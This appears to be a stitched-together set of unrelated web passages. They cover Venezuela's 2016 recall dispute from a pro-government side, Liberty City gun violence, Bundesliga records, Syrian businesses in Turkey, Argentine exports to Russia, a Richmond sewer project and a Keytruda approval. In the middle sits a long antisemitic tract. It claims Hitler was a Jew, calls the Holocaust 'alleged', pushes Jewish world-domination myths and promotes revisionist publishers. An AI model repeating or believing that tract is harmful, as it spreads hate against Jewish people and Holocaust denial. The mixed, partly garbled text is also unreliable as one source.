To activate the mechanism in April, and not in January which was when half of the Presidential period in office had been reached, the right-wing did not leave themselves the time to undertake the revocation process in 2016, given that the period established by the law for this procedure is more than 260 days.
Carrying out this referendum in 2017 implies that if successful, whoever completes the remaining period of office of the then ex-president will be his executive vice president, that is a 'Chavista', who will complete the period of office until the end of 2019.
5. In these months, the National Assembly decided to reject the decisions of the Supreme Court which had annulled its unconstitutional actions. To maintain its judgements, the Supreme Court decided to annul all the decisions of the National Assembly until it no longer attempts to amend the law and respects the Constitution.
6. Despite everything, President Maduro has always called upon the opposition to join a national dialogue to resolve conflicts politically and peacefully.
He called upon UNASUR to facilitate these exchanges with the participation of ex-presidents Rodríguez Zapatero, (ex-Spanish President), Martín Torrijos (ex-President of Panama) and Leonel Fernández (ex-President of the Dominican Republic).
The right-wing placed the condition of inviting the Vatican to this dialogue, which was immediately accepted by President Maduro.
All of these efforts have so far failed as a result of internal conflicts within the opposition
7. To convoke a referendum, the right-wing has, in the first place, to obtain the signatures of 1% of those listed in the electoral register, in order to legitimise the political organisations promoting the referendum. To launch the referendum 20% of the signatures in the electoral roll have to be collected according to the Constitution.
8. The right-wing had to collect only 195,000 signatures to meet the required 1%, however it then sent the National Electoral Council (CNE) 1,957,779 signatures, of which, in the auditorium where the right-wing and the Revolution were represented, no fewer than 605,727 signatures were fraudulent, amongst which were found:
- 10,995 dead people
- 53,658 unregistered persons
- 3,003 persons younger than 18
- 1,335 persons disqualified for committing serious crimes.
- And more than 9,000 cases of stolen identities across all the states.
9. Despite the fact than the CNE discovered these irregularities, the commission announced that the right-wing had reached the required number and it proceeded to announce the 26, 27 and 28 October for the collection of the 20% signatures, taking the precaution of submitting the previous fraudulent signatures to an investigation.
10. On Thursday 20 October, seven national courts from different Venezuelan states, examining the denunciations of affected citizens, ordered precautionary steps to be taken by the National Electoral Council to suspend all the processes which had been started after the collection of the initial 1% of signatures, having been presented with evidence of the massive theft of identities.
In complying with these instructions, the CNE suspended the collection of the 20% of signatures now required to proceed further.
11. The Right reacted by accusing President Maduro's government of carrying out a coup d'etat, but evaded taking responsibility for leading the fraud surrounding the collection of 1% of the electoral signatures.
12. On Sunday 23 October the National Assembly, in an extraordinary session, openly declared itself to be in'rebellion' and agreed the following points:
- It declared that the President Nicolás Maduro had undertaken a coup d'etat and broken the constitutional order.
- It asked all international organisations to apply sanctions against Venezuela
- In the International Criminal Court it denounced the members of the CNE and the Judges which had suspended the revocation process.
- It sacked the members of the CNE and the Magistrates of the Supreme Court of Justice.
- It opened an enquiry into the supposed dual nationality of President Maduro with the aim of removing him.
- It will decide whether President Maduro has abandoned his office with the aim of removing him.
13. Question to reflect upon:
- Who is attempting a coup against whom?
- Is the government responsible for the fraud committed by the right-wing in collecting 1% of the electorates signatures?
- Is the right-wing looking for a large scale foreign intervention with the excise of the suspension of the revocation process and a supposed humanitarian crisis?
- Can a Parliament, in contempt of the law, sack the governing council of the CNE or Judges of the highest court in the land, simply because they follow the Constitution and protect the nation from a fraud committed against popular sovereignty?
- Is it not a coup d'etat when Parliament seeks to ignore all the rights and decisions of the other Public Authorities, as well as looking for their removal by unconstitutional means?
The Foreign Ministry of Colombia sent an official note to the President of the National Assembly informing him that there was no office in its government that had any registration of Colombian nationality held by President Nicolás Maduro.
During the meeting of the National Assembly in question, President Maduro was visiting the OPEC states and others, coordinating an agreement to stabilise international oil prices, the fundamental base of the Venezuelan economy. Is this not a coup-like action in seeking to remove a President for abandoning his office when it is publicly well known that he is exercising fully his functions as Head of State?
The people in the street will defend its Constitution, its revolution and its legitimate presidentIt was the save heard ’round the soccer world.
Seattle Sounders goalkeeper Stefan Frei pulled off what Sports Illustrated called “the greatest high-stakes save in MLS history” on Saturday when he miraculously fended off a late-match shot that ultimately helped Seattle win its first MLS Cup.
Frei,
|
Avenue; residents needed permission to pass in and out. Though most of the wall was demolished during the 1950s, remnants are still visible today.
Despite the segregation, the neighborhood became a middle class haven for Miami’s blacks. But in the 1960s, the construction of Interstate 95 cut straight through the neighboring community of Overtown, sending its low-income residents into Liberty City — and affluent black residents to North Miami. The resulting population was beset by economic inequality and racial tension as an influx of Cuban refugees who were accused of “stealing” black residents’ jobs. This resentment came to a head in 1968, when the Republican National Convention came to town just in time for a race riot, prompting President Richard Nixon to announce from the convention floor that the turbulence in Liberty City demonstrated the need for “law and order” in the United States. A more devastating riot visited the neighborhood in 1980, sparked by the acquittal of four white Miami-Dade police officers who beat a black insurance broker to death with a flashlight. Eighteen people died and more than $100 million worth of property was destroyed. A wave of businesses fled, never to return.
Liberty Square is set to be razed next year and replaced with a mixed-use, mixed-income public housing complex built partially with private funds. Residents will be relocated in phases to make way for construction, but if similar projects in other cities are any indication, many of them won’t return. Miami is watching to see whether gentrification wipes clean the neighborhood’s problems, or simply moves them a few streets over.
As part of a weekly series, The Trace shares the stories of three people living amid Liberty City’s gun violence.
The community leader determined to keep kids from taking revenge
Nathaniel Wilcox, 61, is the executive director of P.U.L.S.E.: People United To Lead The Struggle For Equality. He went to high school in Liberty City.
“My church is right on the outskirts of Liberty Square, and you see bullet holes in the walls and buildings and you hear about the shootings. It’s just terrible, it’s horrific. A lot of the stuff that’s going on is petty stuff. John beat up Jim, but John said something about Jim and made him look bad, so now it’s a gunfight. It’s a bunch of foolishness. A lot of people that’s being killed in Liberty Square do not live in Liberty Square. They feel that that’s an area they can come and do criminal things and basically get away with it because they have the people living in fear.
One of the young men in the area, a couple years ago, his mother was having issues. She was in her early 30s and had two sons, 15 and 17, and her sons hung out in Liberty Square. The mother was begging her sons, ‘Don’t go into Liberty Square! You don’t live over there.’ They lived about five, six blocks away. But they went, they got into a beef, and the younger one ended up dead. They’d been gunning for his brother. The father was in jail and telling his surviving son there’s got to be an eye for an eye. The son was acting all — just off the chain. Our goal was to get him out of town and back to the Bahamas, where he was originally from. We wanted him to come to the realization that his brother’s dead, but he’s doing stupid stuff, and you’re going to go over there and get killed. But he was just determined to go over there and engage them. We had people visiting him, trying to encourage him, ‘Don’t do what your daddy wants you to do.’ His dad hadn’t even made it past the 8th grade. The kid ended up not retaliating. But he ended up in jail. He was caught with a firearm. But we did manage to save his life.
My parents moved to Liberty City from Overtown in the early ’60s, to 60th street between 12th and 13th Avenue. We didn’t have a whole lot of money or live in the best part of town, but we did have order in our house. Liberty City doesn’t have a lot of that in the family structure now, and that’s a lot of the problem. When you have children taking care of children, you don’t have direction and leadership in the house. I’ve had to go to the floor a couple times with my son and let him know, I might be older than you, but I can still hammer you. He’s 23 now. In high school his friends were filling his head with a whole bunch of stuff. He told me me what he was gonna do, regardless of how I feel about it. He’s a minister now, a preacher. He came to the realization I was fair with him. Being a part of their lives is what the kids look for.”
The filmmaker who asked residents to let it all out
Shanks Rajendran, 29, is a documentarian from Melbourne, Australia, who was drawn to Liberty City after reading about it in the news. The film that resulted is Liberty City, Miami: The Good, the Bad and the Ugly. He lives in Los Angeles, California.
“I was going to go on holiday to South Beach in November of 2012, and while I was still in Australia I Googled ‘Liberty City’ after a rapper who was from there named Bizzle died. I ended up spending most of my time in Liberty City. People were so welcoming to me. I started walking around like a little kid — I wasn’t aware of how things were, which is pretty bad. I was walking around with a $9,000 camera. This one guy, Chris, who I met while walking around a gas station in Brownsville, he introduced me to people and took me to places, and he was very scared. Not for me, but for himself. We went to the Pork ‘n’ Beans and he didn’t want to step out of the car to film. And he was born and bred there.
While making the film, I flipped the camera and let the people talk, and it’s interesting how they just start letting things out. There’s so much oppression in Liberty City. People are hurting there. A lot of them are really mad — they try to get jobs, and it all goes well until they’re asked if they speak Spanish. It’s like a double whammy — first they see the Liberty City address. All for a job to move boxes at a warehouse. The dream here is to be a football player or a rapper, but meanwhile, drugs are dealt out in the open.
Getting a gun in Miami is kind of like getting a medical marijuana card in L.A.: really easy. They call Florida ‘the gunshine state’ — everybody’s strapped. When I was at a swap meet, someone came up to me and said, ‘Hey, you wanna buy a gun?’ I didn’t even know what was going on, really. It took me a while to register. I said, ‘I don’t have a green card. I’m not even American.’ He said, ‘That doesn’t matter. I can get you a green card for $400. I can get you a concealed gun license for $300.’ He ripped a piece of paper and put his number on there. He walked away. I think maybe he thought I thought it was too expensive? Because he came back and said, ‘O.K., I’ll give you a license for $150, it’s legit, I’ll bring you to a store, you can buy it.’
They leave teddy bears on the corners of streets where someone was shot, and they’re everywhere in Liberty City, just bunches of them.”
The receptionist who’s watched kids give up jump ropes for handguns
Agnes Strange, 59, is a lifelong resident of Liberty City and the receptionist at Mount Calvary Baptist Church, where her brother is the pastor.
“Mount Calvary is right across the street from the Pork ‘n’ Beans project. We’re at the heart of Liberty City. We basically see it all. I was raised right here in this area, and when I grew up, you didn’t hear about gun violence. My grandparents lived in the Pork ‘n’ Beans but it was nothing — nothing — like it is now. It was a respectful place. You were at liberty to walk the street as you pleased. Now, you’d better be really, really careful.
The gun violence started getting bad in 2000, 2005. I have not a clue what happened. And then again I do, because God said each generation would get weaker and wiser. And I know there is a tremendous change in the generations. I am close to 60, but I went to Miami Northwestern Senior High School, which is right up the street. Never gun violence as it is now. We went through physical fights, that’s it. May the best man win, and that’s just how it went. But now? They will actually come and shoot up one’s family members’ houses.
The young guys here need something positive to do. I know they do like riding dirt bikes and things of that nature. The type of fun that we had, it didn’t cost anything. Probably the only thing that cost was our Union 5 skates. Other than that we made our own fun: we did jump ropes, we did jackstones, we did springboard, where you put a brick in the middle and you put a long piece of plywood over it and someone on either side jumps and you see who jumps the highest. We created our own activities. Now it’s a different era. The kids are into the designer clothing and the sneakers and the tattoos.
Where the guns are coming from, I have not a clue. But evidently they are being brought here, because it seems not to be a problem to get a hold of them. I actually think, to be honest with you, the gunplay is a coward’s way out. If you have an altercation with someone, you stand there and you fistfight it out, and may the best man win, and it’s done. Over. But they do a lot of retaliating here. You know how that goes.”
[Photo: Google Maps]Karim Bellarabi has scored the Bundesliga's 50,000th goal. bundesliga.com takes a trip down memory lane to take a closer look at some other plays who have left an indelible goalscoring mark on the Bundesliga's 54-year history...
The Bundesliga has recorded a staggering 50,000 goals, including...
3,391 penalties3,370 goals scored by substitutes984 own goals46 goals scored by the goalkeeper214 goals scored in the first minute of play617 goals scored in injury time6,304 goals scored in the first quarter of an hour10,717 goals scored in the final quarter of an hour21,785 goals scored in the first half28,215 goals scored in the second half15,267 opening goals
The fastest goal
Two players share the title of scoring the Bundesliga's fastest goal, with both Kevin Volland and Karim Bellarabi scoring in just nine seconds. Volland netted his effort for TSG 1899 Hoffenheim at home to FC Bayern München on Matchday 2 of the 2015/16 season. Bellarabi scored on the opening day of the 2014/2015 season for Bayer 04 Leverkusen in a 2-0 win at Borussia Dortmund.
The fastest hat-trick
Robert Lewandowski's five-goal thriller against VfL Wolfsburg back in September 2015 will remain one of the Bundesliga's greatest goalscoring showcases. Within four minutes (minutes 51 to 55) the FC Bayern striker had netted the league's fastest hat-trick ever, going on to also record the fastest four- and five-goal haul, with all five goals coming in just nine barely believable minutes.
Watch: Relive Lewandowski's record-breaking goal fest against VfL Wolfsburg.
The goal from the greatest distance
This record belongs to Karlsruher SC's Moritz Stoppelkamp. On 20 September 2014, while at SC Paderborn 07, Stoppelkamp netted a goal against Hannover 96 from an atsonishing 83 metres out. The mammoth strike not only wrote his name in Bundesliga history but it also saw Paderborn reward him with his own 'Stoppelkamp-Allee' at the forecourt of the club's Benteler Arena stadium.
The most goals scored
Gerd Müller is a legend of German football. While at Bayern, Müller netted 365 goals, a tally nobody has been able to reach since, with the next player on the list - Klaus Fischer - 'only' managing 268. SV Werder Bremen's Claudio Pizarro is still playing and has struck 190 times, but he is now aged 37, while 28-year-old Robert Lewandowski has 136 goals. It will likely take a miracle for either of them to catch Müller.
The most goals from a goalkeeper
There is one man who is well ahead of the rest in this category. Hans-Jörg Butt netted 26 times from the penalty spot for Hamburger SV and Bayer 04 Leverkusen, a record no goalkeeper has been able to rival.
Watch: Relive Moritz Stoppelkamp's 83-metre strike.
The most penalties
Speaking of goals from the penalty spot, Manfred Kaltz has netted almost twice as many as Butt, 53 from 12 yards to be exact. However, that is not the only record Kaltz holds. The Hamburg legend also scored six own goals in his Bundesliga career, the most of any Bundesliga player, alongside 1. FSV Mainz 05's Nikolce Noveski.
The most goals off the bench
Alexander Zickler is still the Bundesliga's most prolific substitute having scored 19 goals off the bench for Bayern, although Nils Petersen is hot on his heels having netted 16 for the Bavarians and SC Freiburg. With 14 Matchdays left this season, there is every chance the supersub will take Zickler's record by the end of the campaign.
The youngest goalscorer
Not only is he the Bundesliga's youngest debutant, Nuri Sahin also became the league's youngest goalscorer at the age of only 17 years, two months and 21 days. It was in Die Schwarz-Gelben's 2-1 victory against Nürnberg that the midfielder scored the first of his 19 league goals for the club.
The oldest goalscorer
In the list of oldest Bundesliga players, Mirko Votava is only fourth. However, no other player has managed to score a goal at the age of 40, which Votava managed for SV Werder Bremen against VfB Stuttgart on 24 August 1996.Over 600 businesses owned and operated by Syrian refugees in Turkey’s Gaziantep
GAZİANTEP
AA photo
A total of 614 businesses, mainly in the textile, logistic, footwear and plastic sectors, have so far been established by Syrians in Gaziantep, which hosts more than 350,000 Syrian refugees.
The head of the Gaziantep Chamber of Trade (GTO), Eyüp Bartık, said Syrian refugees have become one of the main driving forces of the local economy.
“When our Syrian friends first came to our city, we believed they would make a great contribution to our economy. Time has showed we were right, as they have become of the key motor of our economy… We believe that this contribution will be higher when we boost cooperation and make business together. Besides, with the work permits [for Syrian refugees] becoming active, they will join the work force more,” he said, as quoted by Anadolu Agency.
Bartık named Syria, Iraq, Iran and Russia as their main target markets.
Turkey is to grant work permits to Syrian refugees, an official statement said Jan. 15, in a key move which could allow Syrians to build more prosperous and stable lives in the country.
An announcement in Turkey’s Official Gazette said work permits would be granted to refugees who have fled to the country to escape the conflicts in their homeland.
It did not specify nationality, but the measure chiefly applies to the over 2.2 million Syrians who have fled the almost five-year conflict for the safety of Turkey, as well as some 300,000 Iraqis.
The number of businesses launched by Syrian refugees has reached over 600 in the southeastern province of Gaziantep with a rapid rise over the last year, according to figures from the city’s chamber of trade, as reported by Anadolu Agency.During summer, Russia imposed a year-long ban on the import of a range of food products from western countries in response to economic sanctions imposed on Moscow. In light of the embargo, Russia began to consider increasing imports from Latin American countries.
BUENOS AIRES, December 25 (Sputnik) – Argentina has significantly increased its exports of seafood, poultry and dairy products to Russia in 2014, the country's trade representative to Argentina Sergei Derkach told RIA Novosti.
"The deliveries of certain kinds of goods have increased. For example, in 2013 [Argentina] exported to Russia fish and seafood worth $23 million, but already in the first nine months of 2014 it was $25 million," Derkach said.
© RIA Novosti. Michail Fomichev US Poultry Exporters Partner With Russia, Despite Food Ban: Export Council
During summer, Russia imposed a year-long ban on the import of a range of food products from western countries in response to economic sanctions imposed on Moscow. In light of the embargo, Russia began to consider increasing imports from Latin American countries.
Meat product exports from Argentina in the January-September period of 2013 and 2014 amounted to $124 million and $167 million respectively. According to Derkach, export volumes rocketed in the July-September period this year.
© AP Photo / Turkey to Double Food Exports to Russia by Late 2015: Energy Minister
"In the end of November I visited an [Argentinian] company that processes poultry. This company left a very good impression: modern equipment, high levels of sanitation. According to the management, the company used to ship around 40 tons of the produce to Russia monthly, and in September and October the shipments rose to 500 tons a month," Derkach said. Chicken meat is not subject to export duties in Argentina.
According to the Russian trade representative, there has also been an increase in the turnover of dairy products. Moreover, the import of sugar and confectionery products increased from $0.5 million to $6.6 million.
The United States and other western countries have accused Russia of meddling in Ukraine's internal affairs and imposed several rounds of sanctions against certain individuals, as well as the country's banking, energy and defense sectors. Russia has repeatedly denied the accusations.All the details from DPU on a project that will make traveling on parts of E. Franklin Street a little more difficult.
DPU is replacing 850 linear feet of a combined sewer on E. Franklin Street between Ambler Street and N. 19th. A combined sewer collects stormwater and sanitary sewer. The existing sewer was constructed in the 1880’s or earlier!
The work will involve replacement of the existing sewer with new PVC pipe, installation of six new manholes, connecting the new sewer to the existing combined sewer system, reinstatement of multiple storm sewer and sanitary sewer laterals to the new combined sewer, and site restoration.
Here’s the schedule:
Work Between Ambler St. and N. 17th St. (42” Pipe):
• May 2017 – June 2017
Work Between N. 17th St. and N. 18th St. (36” Pipe):
• July 2017 – August 2017
Work Between N. 18th St. and N. 19th St. (24” Pipe):
• September 2017
Final Restoration Work:
• October 2017
What is the purpose of the project?
The existing combined sewer is over 135 years old and is deteriorating.
How will the combined sewer replacement impact my sewer service?
We anticipate minimal sewer service disruption during construction to the three parcels located along the project corridor. Owners of these parcels will receive a minimum seven-day notice when the disruption will occur and its duration. Replacement of each lateral will be scheduled with each parcel owner for a time — weekends, nights — when the impact will be minimal.
Will the combined sewer replacement impact any other utilities?
No. Existing utilities crossing the excavation area will be temporarily supported in order to remain in service until the excavation is backfilled and compacted.
Will this work impact traffic in the area?
The work is primarily in the westbound lane of Franklin between Ambler and N. 19th. Road closures will be required, but will be phased so only a single block of Franklin or an intersection of Franklin and a cross street are closed at any given time. Roads will be reopened at the end of every work day unless there are unforeseen conditions.
Will this work impact on-street parking?
Yes. On-street parking will be restricted on roads closed during construction working hours. On-street parking will be available outside of construction work hours of 8 a.m. to 5 p.m., week days. Some isolated tasks may need to be performed after hours or on weekends.
How long will this take?
Five to six months, weather permitting.
Will the project impact the Lumpkin’s jail archeological area?
No. In the event that archeological findings are unearthed during excavation, the project will be stopped and the State Department of Historic Resources contacted.Adolf Hitler: Austrian jew Hitler's fruits: 264 million dead or missing Christians "He eventually fell
foul of his uncle [Adolf Hitler] when he suggested that if he wasn't found something
more befitting a member of the Fuhrer's family, he would go public
with rumours that the Nazi leader's grandfather was an Austrian Jew." Der gr��te Unsinn, den man in den besetzen Ostgebieten machen k�nnte,
sei der, den unterworfenen V�lkern Waffen zu geben. Die Geschichte
lehre, da� alle Herrenv�lker untergegangen seien, nachdem sie den von
ihnen unterworfenen Volkern Waffen bewilligt hatten.
[The most foolish mistake we could possibly make would be to permit the
conquered Eastern peoples to have arms. History teaches that all
conquerors who have allowed their subject races to carry arms have
prepared their own downfall by doing so.]
-- Adolf Hitler, April 11, 1942 Matthew 12:35 The good man brings good things out of the good stored up in him, and the evil man brings evil things out of the evil stored up in him. Hitlerism is Satan's nationalism. The determination to rid the German national body of the Jewish element, however, led Hitlerism to discover its 'kinship' with Zionism, the Jewish nationalism of liberation. Therefore Zionism became the only other party legalized in the Reich, the Zionist flag the only other flag permitted to fly in Nazi-land. It was a painful distinction for Zionism to be singled out for favors and privileges by its Satanic counterpart. 'Baal is not God', Congress Bulletin (24 January 1936), p. 2. Nazis persecuted Christians, not jews Hitler's top staff were jews, not Christians Here are a few quotes from Hitler himself which prove he could ONLY have been a jew: (from July 11th – 12th, 1941) “The heaviest blow that ever struck humanity was the coming of Christianity….[an] invention of the Jew. The deliberate lie in the matter of religion was introduced into the world by Christianity.” (Oct. 10th, 1941) “Christianity is a rebellion against natural law, a protest against nature. Taken to its logical extreme, Christianity would mean the systematic cultivation of the human failure.” (Oct. 14th, 1941) “Christianity is the lair…We’ll see to it that the Churches cannot spread abroad teachings in conflict with the interests of the State.” (Oct. 19th, 1941) “The reason why the ancient world was so pure, light and serene was that it knew nothing of the two great scourges: the pox and Christianity.” (Dec. 13th, 1941) “Christianity is an invention of sick brains: one could imagine nothing more senseless…” (Feb. 27, 1942) “…but to devote myself deliberately to errors, that is something I cannot do. I shall never come personally to terms with the Christian lie. Our epoch in the next 200 years will certainly see the end of the disease of Christianity…my regret will have been that I couldn’t behold its demise.”
Regardless of what Americans think or have heard about Hitler, we must assess him from the perspective of how his rule affected White Christian Israelites and jews. And in spite of massive cold war propaganda on both sides of the issue, we must understand that he played a central role in the relationships between various White Christian Israelites and worldwide Zionism. The worldwide population of jews had been on the decline before he came to power, dropping by 314,641 or 2%, from 15,630,000 in 1924 to 15,315,359 in 1933. Had this trend continued through WWII, there would have been only 15,009,005 jews in the world by 1948, but it was during Hitler's regime that this trend reversed and the population of jews increased by 438,279 or 2.9% to 15,753,638 by 1948. Thus we can conclude that Hitler played a pivotal role in a 4.9% INCREASE in the worldwide population of jews, something that required an ingenious shipment of jews across Europe to protect them from the firebombing that completely destroyed Christian populations in cities like Dresden and Hamburg. It's precisely because of Hitler's policies, and only because of his policies, that the population of White Christian Israelites in Europe plunged by 12.5%, or 48 million. No other figure in WWII can be accredited with the policies which led to such devastation--not Stalin, Mussolini, Churchill, nor Roosevelt. It was his policies which led to the creation of the current state of Israel, and to the looting by jews of the treasuries of most White Christian Israelite nations, including the US--a process which continues to this very day. The only thing we've gained by pouring $132 billion into the establishment and maintenance of the jewish state in Israel is the enmity of 1.2 billion Muslims and of many other nations around the world, ultimately causing 9-11 and the loss of the rest of our very own Constitutional rights. Germany and Switzerland gained nothing from their payments of reparations to the jews who were purportedly exterminated in the "holocaust". The bottom line of Hitler's rule is simple: jews = 4.9% increase in population. Christians = 12.5% decrease in population. And now that we have written proof that the Nazis intended to replace Christians and Christianity in Germany with Nazis and Naziism, we cannot conclude that Hitler was an errant Christian who was a mere victim of circumstances--we can only conclude that he was a jew who was carrying out all the tenets of the Talmud, to perfection. Hitler and the 'Big Lie' It has been repeated so often that virtually no one bothers to challenge it: Adolf Hitler created and used the "Big Lie," one of his many evil techniques. As holds true for so many things we are told, this belief, too, must be examined to see the underlying truth. In Mein Kampf, Hitler wrote: But it remained for the Jews, with their unqualified capacity for falsehood, and their fighting comrades, the Marxists, to impute responsibility for the downfall [of Germany in WWI] precisely to the man who alone had shown a superhuman will and energy in his effort to prevent the catastrophe which he had foreseen and to save the nation from that hour of complete overthrow and shame. By placing responsibility for the loss of the world war on the shoulders of Ludendorff they took away the weapon of moral right from the only adversary dangerous enough to be likely to succeed in bringing the betayers of the Fatherland to Justice. All this was inspired by the principle -- which is quite true in itself -- that in the big lie there is always a certain force of credibility; because the broad masses of a nation are always more easily corrupted in the deeper stata of their emotional nature than consciously or voluntarily, and thus in the primitive simplicity of their minds they more readily fall victims to the big lie than the small lie, since they themselves often tell small lies in little matters but would be ashamed to resort to large-scale falsehoods. It would never come into their heads to fabricate colossal untruths, and they would not believe that others could have the impudence to distort the truth so infamously. Even though the facts which prove this to be so may be brought clearly to their minds, they will still doubt and waver and will continue to think that there may be some other explanation. For the grossly impudent lie always leaves traces behind it, even after it has been nailed down, a fact which is known to all expert liars in this world and to all who conspire together in the art of lying. These people know only too well how to use falsehood for the basest purposes. From time immemorial, however, the Jews have known better than any others how falsehood and calumny can be exploited. Is not their very existence founded on one great lie, namely, that they are a religious community, whereas in reality they are a race? And what a race! One of the greatest thinkers that mankind has produced has branded the Jews for all time with a statement which is profoundly and exactly true. He (Schopenhauer) called the Jew "The Great Master of Lies." Those who do not realize the truth of that statement, or do not wish to believe it, will never be able to lend a hand in helping Truth to prevail. Clearly, Hitler is not advocating the use of the "Big Lie," and, far from creating it, he in fact is ascribing the "Big Lie" technique to the Jews and Marxists. The "Big Lie" technique is Hitler's in the same fashion that Halley's Comet is Halley's -- not because either man was the inventor, but rather because he was the discoverer. Sources Adolf Hitler. Mein Kampf. James Murphy, translator. London, New York, Melbourne: Hurst and Blackett Ltd; April 1942; page 134. Or: Page 231 of the Mannheim translation, London: Hutchinson; 1969. Page 232 of the Houghton-Mifflin edition. Herzl Tivadar is Adolf Hitler az egisz vilagot akartak uralni ugyanazon ideolsgia alapjan. (Theodor Herzl and Adolf Hitler wanted to dominate the whole world on the same ideological ground.) A "Les Secrets de l'Empire Nietzschien" cmm{ kvnyvemben felidizett zsids szabadkum{ves programnak ugyanahhoz, az egisz vilagra kiterjedu gyarmatbirodalomhoz kell vezetnie, mint a zsids szabadkum{ves Herzl Tivadar gyarmati programjanak. Megjegyzendu, hogy egy politikai program nem hamismtvany, nem plagium azirt, mert esetleg tartalmaz bizonyos, korabban mar mas kvnyvekben kvzzitett gondolatokat: minden politikai program tartalmaz ilyen gondolatokat. A zsids szabadkum{vessig - amely litrehozta a cionizmust cilja elirise vigett - arra tvrekszik, hogy kizsarolja az emberisigtul a zsids szabadkum{ves vilagcsaszarsagot, mint jsvatitelt az allmtslagos holokausztirt. (The above mentioned Jewish Freemasonic programme in my book "Les Secrets de l'Empire Nietzschien" must illustrates a colonial empire over the whole world, the same conclusion as that of the colonial programme of the Jewish Freemason Theodor Herzl. It is worth mentioning that a political programme is not a forgery, not a plagiarism because it may contain certain ideas which have been published earlier in other books: all political programmes contain such ideas. Jewish Freemasonry - which called into existence Zionism in order to implement its aim - strives to extort from humanity Jewish Freemasonic imperial rule over the whole world as compensation due for the alleged holocaust.) For more information about historical revisionism, including Holocaust revisionism, visit the web site for the Institute for Historical Review. For a catalog with a complete listing of revisionist books and audio and video tapes, send two dollars to: Noontide Press
Post Office Box 2719
Newport Beach, California 92659 Send all questions and comments to [email protected] The Jews purportedly declared war on Germany in 1933. The newly elected German Chancellor had inaugurated the Nationalist Plan to remove the central banking power and liberate Germany from the centralist tyranny. All of Europe and America were elated by the prospects of he German success. Within five years, Adolf Hitler and his N.S.D.A.P. party had delivered every promise given in the Nazi campaign for election. Within two years the conflagration of the Jewish Bolshevik American war machine began to unleash its evil power to utterly destroy all of Germany and all its allies. By 1945, Germany lay in ruin and 40 million Germans had been murdered. This enriched America enormously. The American force did not stop there. These same monsters continue to kill all who would resist the drive to enslave the goyim. Despite this apparent triumph, the forces of evil will fail. This revelation about FDR is only a snippet of the many evidences now coming into the light. Perhaps you will see that witnesses to the truth include your good self. May the Father enable us with his blessing and grace. In His service, Reinhold Sommerstedt Papers reveal Nazi aim: End Christianity
http://inq.philly.com/content/inquirer/2002/01/09/front_page/JNAZI09.htm
A Rutgers journal will put rare Nuremberg documents
online. A plan to rout the church and install a Reich
faith is shown.
By Edward Colimore
INQUIRER STAFF WRITER
The fragile, typewritten documents from the 1940s lay
out the Nazi plan in grim detail:
Take over the churches from within, using party
sympathizers. Discredit, jail or kill Christian
leaders. And re-indoctrinate the congregants. Give
them a new faith - in Germany's Third Reich.
More than a half-century ago, confidential U.S.
government reports on the Nazi plans were prepared for
the International Military Tribunal at Nuremberg and
will be available online for free starting tomorrow -
some of them for the first time.
These rare documents - in their original form, some
with handwritten scrawls across them - are part of an
online legal journal published by students of the
Rutgers University School of Law at Camden.
"When people think about the Holocaust, they think
about the crimes against Jews, but here's a different
perspective," said Julie Seltzer Mandel, a third-year
law student who is editor of the Nuremberg Project for
the Rutgers Journal of Law and Religion.
"A lot of people will say, 'I didn't realize that they
were trying to convert Christians to a Nazi
philosophy.'... They wanted to eliminate the Jews
altogether, but they were also looking to eliminate
Christianity."
Mandel said the journal would post new Nuremberg
documents about every six months, along with
commentary from scholars across the world, on its Web
site at www.lawandreligion.com.
The material is part of the archives of Gen. William
J. Donovan, who served as special assistant to the
U.S. chief of counsel during the International
Military Tribunal after World War II. The trials were
convened to hold accountable those responsible for war
crimes.
The first installment - a 120-page report titled "The
Nazi Master Plan: The Persecution of the Christian
Churches" - was prepared by the Office of Strategic
Services, a forerunner of the CIA.
"Important leaders of the National Socialist party
would have liked to meet this situation [church
influence] by complete extirpation of Christianity and
the substitution of a purely racial religion," said an
OSS report in July 1945. "The best evidence now
available as to the existence of an anti-Church plan
is to be found in the systematic nature of the
persecution itself.
"Different steps in that persecution, such as the
campaign for the suppression of denominational and
youth organizations, the campaign against
denominational schools, the defamation campaign
against the clergy, started on the same day in the
whole area of the Reich... and were supported by
the entire regimented press, by Nazi Party meetings,
by traveling party speakers."
A second online journal posting - to be added in about
six months - will spotlight a secret OSS document,
"Miscellaneous Memoranda on War Criminals," about the
efforts of various countries to bring Nazis to
justice.
A third installment - to be included in the journal in
a year - focuses on translated, confidential Nazi
documents. A message sent during the Kristallnacht
("Night of Broken Glass") pogrom of November 1938 is
titled "Measures To Be Taken Against Jews Tonight."
Authorities were given specific instructions: "Jewish
shops and homes may be destroyed, but not looted...
. Foreigners, even if Jewish, will not be molested."
Mandel, whose 80-year-old grandmother is a survivor of
the Auschwitz concentration camp, said that allowing
the public access to such documentation is
"phenomenal."
"Some of the papers will answer questions that
scholars have been asking for years," said Mandel, 29,
of Berlin Borough, Camden County. "What did we know?
When did we know it?"
The documents are part of the collection of the
Cornell University School of Law library, which has
about 150 bound volumes of Nuremberg trial transcripts
and materials. They are housed at the school and are
being cataloged.
"Gen. Donovan kept extensive, detailed records of Nazi
at
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liver (hepatitis), endocrine glands (endocrinopathies) and kidneys (nephritis). Complications or death related to allogeneic hematopoietic stem cell transplantation after using Keytruda has occurred.
Patients who experience severe or life-threatening infusion-related reactions should stop taking Keytruda. Women who are pregnant or breastfeeding should not take Keytruda because it may cause harm to a developing fetus or newborn baby. The safety and effectiveness of Keytruda in pediatric patients with MSI-H central nervous system cancers have not been established.
The FDA granted this application Priority Review designation, under which the FDA’s goal is to take action on an application within six months where the agency determines that the drug, if approved, would significantly improve the safety or effectiveness of treating, diagnosing or preventing a serious condition.
The FDA granted accelerated approval of Keytruda to Merck & Co.
The FDA, an agency within the U.S. Department of Health and Human Services, protects the public health by assuring the safety, effectiveness, and security of human and veterinary drugs, vaccines and other biological products for human use, and medical devices. The agency also is responsible for the safety and security of our nation’s food supply, cosmetics, dietary supplements, products that give off electronic radiation, and for regulating tobacco products.
###Written by Boston Biker on Oct 15
Marty Over at Geekhouse has really outdone himself this time! The 2008 U.S. presidential election is less than three weeks away, but nothing is sewn up yet. To keep the momentum moving forward for Barack Obama, the candidate offering a better energy plan for the future than a cacophony of “Drill, baby, drill,” ANIMALNewYork.com’s Bucky Turco united the bike building expertise of Geekhouse founder Marty Walsh and the ‘wallpaper design’ talents of Dan Funderburgh to create this ONE OF A KIND track bike for auction. The exclusive fixed gear cycle is being offered on eBay beginning today and proceeds will be donated to the Barack Obama victory fund.
